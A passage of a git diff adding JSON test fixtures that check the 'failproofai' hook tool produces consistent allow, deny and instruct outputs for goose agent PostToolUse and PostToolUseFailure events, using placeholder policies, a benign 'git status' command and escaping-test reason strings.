reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..89f74b85 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..33e78f18 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..978771ca --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..47028e38 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..59a7e63d --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1259ae76 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ca230040 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..dc93da01 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..0977798e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bc5e102f --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..624294f3 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c17c3751 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9c18e343 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..f9c7a9ba --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0d679c35 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..697ebd47 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f1b3f028 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f3403115 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c235eec5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + 